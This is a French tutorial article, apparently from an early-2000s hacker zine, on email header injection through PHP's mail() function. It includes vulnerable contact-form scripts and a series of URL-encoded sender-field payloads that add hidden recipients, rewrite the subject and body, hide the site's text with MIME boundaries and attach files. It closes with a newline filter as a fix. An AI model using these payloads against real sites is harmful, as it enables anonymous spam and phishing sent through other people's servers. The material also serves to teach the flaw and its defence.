Home
Home
Grey Skin Blue Skin Green Skin Red Skin

Injection de headers dans la fonction mail() de PHP

Auteur/Traducteur :

Date de création :
Dernière modification : (tobozo : code highlighting and html5 conversion)
Vu 137247 fois

Les failles sur le net permettant l'envoi d'un mail anonyme peuvent souvent servir à un hacker, ou pour une arnaque quelconque. En effet, quand on envois un mail en PHP, le destinataire reçoit un mail dont l'ip de l'expéditeur est celui du site depuis lequel la fonction mail() a été appelée. Le site fait donc usage de proxy SMTP.

Dans ces cas-là, le problème vient du fait que l'utilisateur peut choisir le sujet du mail, son message, l'expediteur et le destinataire.

Rappel : La fonction mail fonctionne de la sorte : mail([DESTINATAIRE],[SUJET],[MESSAGE],[HEADERS]);

Inutile de parler donc du cas où tout les arguments de la fonction mail() sont définissable par l'utilisateur, il y a déjà pas mal de textes à ce sujet.

Par contre il est plus interessant d'imaginer comment envoyer un email anonyme quand il y a certaines restrictions.

En effet, d'autres webmasters, plus prudents, définissent l'e-mail du destinataire dans le code PHP, quand il s'agit par exemple (le plus souvent) d'envoyer un mail au webmaster du site.

Voici un exemple de ce genre de script, sur lequel nous allons commencer l'analyse :

<?
    $to = "webmaster@website.com";
    if (!isset($_POST["send"])){
        // Si le formulaire n'a pas été envoyé, on l'affiche
        ?>
        <form method="POST" action="<?=basename(__FILE__);?>">
            A: webmaster@website.com<br>
            De: <input type="text" name="expediteur"><br>
            Sujet : <input type="text" name="sujet"><br>
            Message : <br><br>
            <textarea name="message" rows="10" cols="60" lines="20"></textarea><br>
            <input type="submit" name="send" value="Envoyer">
        </form>
        <?
    } else {
        // Si le formulaire a été envoyé
        $from = $_POST["expediteur"];
        // On envoie le mail :
        if(mail($to, $_POST["sujet"], $_POST["message"], "From: $from\n")){
            // Si le mail a bien été envoyé, message de confirmation
            echo "Votre mail a bien été envoyé à $to.<br>";
        } else {
            // sinon, message d'erreur.
            echo "Votre mail n\'a pas pu être envoyé.<br>";
        }
    }
?>

On ne peut donc pas choisir le destinataire via le premier argument de la fonction mail(), vu qu'il est définit dans le script. Par contre on peut définir le sujet, le message, et l'expediteur (dans les headers : From:).
Rappelons le format d'un envoi de mail en PHP, pour une fonction de type :

<? 
    mail($destinataire, $sujet, $message, $headers); 
?>

on envoie :

    To: $destinataire
    Subject: $sujet
    $headers
    $message

Donc quand on fait un appel à la fonction

<? 
    mail(
        "destinataire@website1.com",
        "Hello","Hi,\nYour site is great.\nBye",
        "From: expediteur@website2.com\n"
    );
?>

on envoie :

    To: destinataire@website1.com
    Subject: Hello
    From: expediteur@website2.com

    Hi,
    Your site is great.
    Bye

Dans le cas du script PHP plus haut, la partie la plus interessante que l'utilisateur peut choisir dans son envoi de mail est l'expediteur, car il est directement envoyés dans les headers. Et nous allons tenter de modifier ou d'ajouter d'autres headers que le From:.

Logiquement, les parties message, To: et Subject: pourraient servir aussi à injecter quelque chose, mais la fonction mail() filtre bien les deux dernières, et la première est le message, et à partir du moment où on a sauté une ligne dans l'envoi du mail, c'est considéré comme du texte; le message ne saurait donc rester qu'un message.

Le but est d'injecter des headers. A quel but ? Et bien ici, pour envoyer un email anonyme à quelqu'un d'autre que le webmaster du site. Cela serait possible en utilisant par exemple l'header Cc: ( pour Carbon Copy ou Copie Carbone ou Copie Conforme), qui envois une copie conforme du mail aux personnes indiquées en argument. Ou mieux l'header Bcc: (pour Blind Carbon Copy ou Copie Carbone Cachée) qui envois une copie conforme sans qu'aucun autre destinataire ne soit au courrant. Le problème est que pour définir un nouvel header, il faut obligatoirement passer à la ligne, comme on l'a vu dans le format de l'email plus haut.

Mais cela est possible, grâce au caractère <LF> pour Line Feed (ou passage à la ligne), dont la traduction hexadecimale est 0x0A.

Ainsi, en reprenant l'exemple de script PHP ci-dessus, si je donne comme valeur :

- expéditeur : "email@anonymous.com%0ACc:email1@website1.com%0ABcc:email2@website2.com,email3@website3.com"
- au sujet : "Hum"
- au message : "My Message..."

alors l'email envoyé sera de la forme :

    To: webmaster@website.com
    Subject: Hum
    From: email@anonymous.com
    Cc:email1@website1.com
    Bcc:email2@website2.com,email3@website3.com

    My Message...

et on aura non seulement bel et bien injecté des headers, vu que le seul prévu par le webmaster était From:, mais on a en plus envoyé l'email à trois personne de notre choix : email1@website1.com, email2@website2.com et email3@website3.com alors qu'on était pas sensé pouvoir choisir de destinataire.

On a utilisé les headers Cc: et Bcc:; pour envoyer notre mail à qui on voulait, mais le mieux aurait été d'utiliser l'header To:. Et bien c'est possible; on peut redéfinir l'header To:, la nouvelle valeur viendra juste s'ajouter à l'ancienne, comme si on avait séparé les deux mails par des virgules (comme dans le Bcc: injecté de l'exemple avant).

Gardons la même valeur pour le sujet et le message, mais à l'expéditeur donnont maintenant la valeur : "email@anonymous.com%0ATo:email1@who.com" ce qui donne :

    To: webmaster@website.com
    Subject: Hum
    From: email@anonymous.com
    To:email1@who.com

    My Message...

La répétition du To: ne posera donc aucun problème, et l'email sera envoyé à webmaster@website.com ET email1@who.com .

Imaginons maintenant une possibilité d'envoi de mail encore plus restrictive : l'envoi de pub. Il arrive souvent sur des sites qu'on trouve un formulaire pour envoyer un mail à un ami lui "conseillant" d'aller visiter le site sur lequel on se trouve. Dans des cas pareils, on peut rentrer notre email, que l'ami sache qui l'a conseillé, et l'email du destinataire (l'ami). Ce qui donne par exemple un script comme ceci :

<?
    $sujet   = "Visitez http://www.website.com !";
    $message = "Bonjour,\nUn ami vous conseille de visiter http://www.website.com.\nAu revoir.";
    if (!isset($_POST["send"])){
        // Si le formulaire n'a pas été envoyé, on l'affiche
        ?>
        <form method="POST" action="<?=basename(__FILE__);?>">
            A : <input type="text" name="destinataire"><br>
            De: <input type="text" name="expediteur"><br>
            <input type="submit" name="send" value="Envoyer">
        </form>
        <?
    } else {
        // Si le formulaire a été envoyé
        $from = $_POST["expediteur"];
        $to   = $_POST["destinataire"];
        // On envoi le mail :
        if (mail($to, $sujet, $message, "From: $from\n")){
            // Si le mail a bien été envoyé, message de confirmation
            echo "Votre mail a bien été envoyé à $to.<br>";
        } else {
            // sinon, message d'erreur.
            echo "Votre mail n\'a pas pu être envoyé.<br>";
        }
    }
?>

Dans ce cas encore une fois, on va pouvoir injecter des headers. Mais pas pour le destinataire cette fois; on peut déjà le définir nous-même,c 'est prévu. Par contre ici on a pas le choix ni du sujet ni du message envoyé.

Commençons par le sujet. On a vu tout à l'heure qu'un header pouvoit être définit deux fois, la nouvelle valeur s'ajoutait à l'ancienne. Il en est evidemment de même pour l'header Subject:, comme pour tout les nombreux autres headers.

En donnant comme destinataire "ami@friends.com" et comme expediteur "badguy@badboys.com%0ASubject:My%20Anonymous%20Subject", le mail sera envoyé de cette façon :

    To: ami@friends.com
    Subject: Visitez http://www.website.com !
    From: badguy@badboys.com
    Subject: My Anonymous Subject

    Bonjour, un ami vous conseille de visiter http://www.website.com.
    Au revoir.

Le sujet "My Anonymous Subject" sera ajouté au sujet "Visitez http://www.website.com !" ce qui donnera un email avec comme sujet "Visitez http://www.website.com ! My Anonymous Subject". Il arrive même dans certains webmails que ce ne soit que le sujet ajouté qui est affiché (par exemple sur hotmail, à l'intérieur du message).

Voyons enfin comment changer le message. Le corps du message, contrairement aux headers, n'est pas reconnaissable par son nom (From, To, Subject,...); il n'y a pas d'intitulé "Message" dans le format d'un mail. Et c'est justement comme ça qu'il est reconnaissable. A partir du moment où on est passé à la ligne sans définir aucun header, on sait que la suite est le message.

Donc au lieu de passer à la ligne et de mettre le nom de l'header à injecter, on va simplement passer à la ligne, puis inscrire le message.

Le message est déjà définit comme l'header To: et le header Subject:, il y aura donc l'ancien message plus le message injecté, mais contrairement à ces deux headers, ce n'est pas après, mais avant l'ancien message que va se placer le nouveau.

En effet imaginons maintenant qu'on marque comme expediteur : "badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message." , alors l'email serait de la forme :

    To: ami@friends.com
    Subject: Visitez http://www.website.com !
    From: badguy@badboys.com

    My New Anonymous Message.


    Bonjour,
    un ami vous conseille de visiter http://www.website.com.
    Au revoir.

On voit clairement que le nouveau message :

    My New
    Anonymous Message

vient avant l'ancien message :

    Bonjour,
    un ami vous conseille de visiter http://www.website.com.
    Au revoir.

pour donner finalement le message :

    My New
    Anonymous Message

    Bonjour,
    un ami vous conseille de visiter http://www.website.com.
    Au revoir.

Comme je l'ai déjà dit, il existe toute une ribambelle d'headers mail autres que Cc, Bcc:, To:, Subject: et From:.

Nous n'allons pas tous les passer en revue, ce n'est pas le but de ce texte. Voyons en un dernier, un petite luxe =), qui peut s'averer fort utile.

Il s'agit de l'header Content-Type qui, comme le dit son nom, définit le type du message envoyé. Il est par défaut plain/text, c'est-à-dire du texte simple. Mais on peut lui donner par exemple la valeur text/html, ce qui aura comme effet d'interpreter les balises HTML comme du HTML et pas comme du texte.

Par exemple en donnant à l'expediteur la valeur : haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A"
l'email envoyé sera :

    To: ami@friends.com
    Subject: Visitez http://www.website.com !
    From: haxor@attack.com
    Content-Type:text/html

    My New <u>HTML Anonymous Message.</u>


    Bonjour,
    un ami vous conseille de visiter http://www.website.com.
    Au revoir.

et à l'affichage du mail, le texte "HTML Anonymous Message." sera souligné.

La fonction mail respecte l'encodage MIME. En sachant ça, l'header Content-Type peut devenir très interessant pour l'injection d'headers. L'encodage MIME (Multipurpose Internet Mail Extensions) peut servir, en plus d'envoyer des emails en html, de faire des attachements de fichiers (sons, images, texte,...).

Ici nous allons étudier et utiliser l'header Content-Type avec comme valeur multipart/mixed (il y en a bien sûr d'autres du même type comme multipart/alternative ou multipart/related). multipart/mixed va nous permettre de séparer le mail en plusieurs parties.

Commençons de suite par un exemple de mail au format MIME, ici avec une seule partie pour le destinataire :

    To: destin@tai.re
    Subject: Good Luck
    From: expediteur@hissite.com
    Content-Type: multipart/mixed; boundary="MyBoundary";
    Hidden Text1
    --MyBoundary
    Content-Type: plain/text;

    Good Luck for you work,
    bye

    --MyBoundary--
    Hidden Text2

On voit d'abord un header To:;, Subject: et From puis l'header Content-Type avec l'argument multipart/mixed, et juste après une ligne attribuant à boundary la valeur "MyBoundary". "boundary" et le séparateur entre les differentes parties du message. Il annonce le début du 1er message par "--[LE BOUNDARY]", il fait la séparation entre les differentes parties également par "--[LE BOUNDARY]" et il définit la fin du message par "--[LE BOUNDARY]--". On peut lui donner la valeur qu'on veut. Ensuite on voit une ligne "Hidden Text1". Comme il le dit, ce texte ne sera pas montré au destinataire, car ce n'est ni un header, ni une partie du message, puisqu'on a définit un "boundary" qui n'a pas encore annoncé le début du 1er message.

Puis on a cette ligne "--MyBoundary" qui annonce le début du premier message, et directement après encore un fois l'header "Content-Type" qui va définir le type de cette première partie, ici du texte simple. Puis vient le message, et la ligne "--MyBoundary--", annonçant la fin de l'email. Comme c'est la fin de l'email, la dernière ligne "Hidden Text2" ne sera pas non plus montrée au destinataire.

Et voilà ce qui est interessant pour l'injection d'headers : on avait vu qu'on pouvait ajouter un message avec le script PHP pour envoyer une pub, mais la pub était toujours là. Avec ce nouvel élément, on va pouvoir faire en sorte qu'il soit ignoré.
Ainsi en donnant comme valeur à l'expediteur :

haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--

on obtient l'envoi de message suivant :

    To: ami@friends.com
    Subject: Visitez http://www.website.com !
    From: haxor@attack.com
    Content-Type:multipart/mixed; boundary=frog;
    --frog
    Content-Type:text/html

    <b>My Message.</b>
    --frog--


    Bonjour,
    un ami vous conseille de visiter http://www.website.com.
Au revoir.

et le message reçu par "ami@friends.com" est uniquement "<b>My Message.</b>" en HTML, c'est à dire "My Message." en gras. Le message de pub :

    Bonjour,
    un ami vous conseille de visiter http://www.website.com.
    Au revoir.

n'est pas affiché.

Note : je n'ai pas mis le boundary entre guillemets pour montrer que c'est applicable même si magic_quotes_gpc=ON.

Autre chose à ce sujet... imaginons que le hacker puisse modifier les headers via le champ Sender: ET une variable dans le message (par exemple au lieu de "un ami" dans le message, une variable que l'utilisateur doit remplir dans le formulaire du script PHP via un champ "Pseudo"). Dans ce cas, il est possible d'obtenir le même résultat côté destinataire (afficher uniquement le message que l'on choisit), en donnant au champ Sender: la valeur : haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A et au champ "Pseudo" la valeur : %0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog-- Seule difference, l'envoi de message sera :

    To: ami@friends.com
    Subject: Visitez http://www.website.com !
    From: haxor@attack.com
    Content-Type:multipart/mixed; boundary=frog;

    Bonjour,

    --frog
    Content-Type:text/html

    <b>My Message.</b>
    --frog--

    vous conseille de visiter http://www.website.com.
    Au revoir.

On voit bien que les parties du message "Bonjour," et "vous conseille de visiter http://www.website.com.Au revoir." se trouvent aux emplacements de "Hidden Text1" et "Hidden Text2" dans le premier exemple de mail multipart-mixed. Elles ne sont donc pas affichées dans le message.

Enfin une petite finale où on utilise à peu près tout ce qu'on a vu, plus un petit bonus; un fichier attaché. En donnant au Sender: la valeur :

haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A

l'email est envoyé de la manière suivante :

    To: ami@friends.com
    Subject: Visitez http://www.website.com !
    From: haxor@attack.com
    Subject:Mwahahaha
    Bcc:target@nothappy.com
    Content-Type:multipart/mixed; boundary=frog;
    --frog
    Content-Type:text/html

    <b>HTML Message.</b>

    --frog--
    Content-Type:text/html;name=Security.html;
    Content-Transfer-Encoding:8bit
    Content-Disposition: attachment

    <u>HTML File</u>

    --frog--

    Bonjour,
    un ami vous conseille de visiter http://www.website.com.
    Au revoir.

Ce qui donne donc comme expediteur : "haxor@attack.com", comme sujet : "Visitez http://www.website.com ! Mwahahaha".

Cet email sera reçu par "ami@friends.com", et en copie cachée par "target@nothappy.com".
L'email contiendra un message en html : <b>HTML Message.</b> et un fichier attaché de type "text/html" nommé "Security.html" contenant le code HTML : <u>HTML File</u>.

Pour sécuriser les failles d'injection d'headers mail, il doit y avoir plusieurs manières differentes. Une idée serait d'ajouter, après la ligne :

    $from=$_POST["expediteur"];

le code suivant :

    if(eregi("\r",$from) || eregi("\n",$from)) {
        die("Why ?? :(");
    }

On voit que le script est stoppé grâce à une fonction die() si l'expediteur contient \r ou \n. \n correspond à LF ou 0x0A/%0A en hexadecimal, c'est-à-dire le saut à la ligne, et \r correspond à CR ou 0x0D/%0D en hexadecimal ou <CR> (carriage return), c'est à dire le retour en début de ligne. Il arrive que les caractères %0A%0D soient utilisés à la place du simple %0A, mais c'est ce dernier caractère qui est réellement dangereux. Le filtre vérifie tout de même se caractère car il n'y a aucune autre raison que le piratage qu'il soit utilisé.

Il y aurait bien sûr encore beaucoup de choses à dire, mais les grands principes sont vus, ainsi que la logique.

En conclusion on se souviendra qu'on peut modifier comme on veut dans l'e-mail tout ce qui se trouve après l'endroit de l'injection (le From:), et on peut seulement ajouter ce que l'on veut après ce qui se trouve avant l'endroit de l'injection.

Il y a un autre bon point à cette sécurité, en plus du fait que les sujets et destinataires entrés dans la fonction mail() sont définis de toute façon.

Quand j'ai pensé à faire le texte sur l'injection d'headers, je n'avais encore jamais rien fait de ce genre. En reflechissant à ce qui serait possible de faire, je me suis dis qu'il pourrait bien y avoir un trou énorme dû au header Fcc:. Cet header contient le nom du fichier dans lequel une copie du mail sera enregistré à son envoi. Mais cet header doit être le premier définit parmis tout les headers pour être valide, et ce n'est pas possible via la fonction PHP mail() (et en plus je ne suis pas sûr que ça soit applicable au format MIME).

Si je parle de ce header Fcc:, c'est pour attirer l'attention sur lui. Imaginons que comme message du mail ou comme expediteur ou n'importe quoi on mette du code PHP, et que dans Fcc: on mette un nom de fichier en .php dont le path est celui du site web, il serait alors possible d'exécuter du code PHP. Ce n'est qu'une idée que je n'ai jamais testée mais je suis sûr qu'il doit y avoir quelque part des failles liées à ça. Si quelqu'un en entend parler, qu'il me fasse signe :)

Je dédicace ce texte à mon ami Raph alias Camebip décédé le 2 novembre 2003.

Texte publié dans THJ N°12 de décembre-janvier 2004.

(copyleft) 2001 frogman@phpsecure.info 19-mar-2001 16:33:02 GMT &Ext